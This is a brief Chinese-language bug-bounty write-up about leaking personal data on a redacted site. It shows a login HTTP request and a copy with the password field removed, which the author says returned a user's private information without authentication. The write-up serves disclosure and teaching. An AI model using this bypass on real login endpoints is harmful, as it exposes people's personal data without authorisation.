記一次泄露PII的漏洞挖掘經歷

泄露PII的漏洞挖掘經歷什么是PII（Personal Identifiable Information）

個人可識別信息

這是有關一個人的數據，這些數據能幫助識別這個人，如姓名、指紋、電子郵件地址、電話號碼等。

我使用提供的憑據進行測試，提交了我的用戶名和密碼并收到以下請求：

POST /auth?subdomain=test&commonLoginQuery=true HTTP/1.1
Host: redact.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 25
Origin: redact.com
Referer: redact.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"login":"test@gmail.com, "password": "test1337"}

我從請求中刪除了密碼字段及其值，如下：

POST /auth?subdomain=test&commonLoginQuery=true HTTP/1.1
Host: redact.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 25
Origin: redact.com
Referer: redact.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"login":"test@gmail.com"}

然后該用戶的 PII 被泄露，并且顯示了私人信息。

這是我收到的返回包：

有時，您需要嘗試輸入字段并處理一些意外行為。這就是為什么執行手動測試很重要，而不僅僅是依賴模糊測試，這可能會對網站造成損害。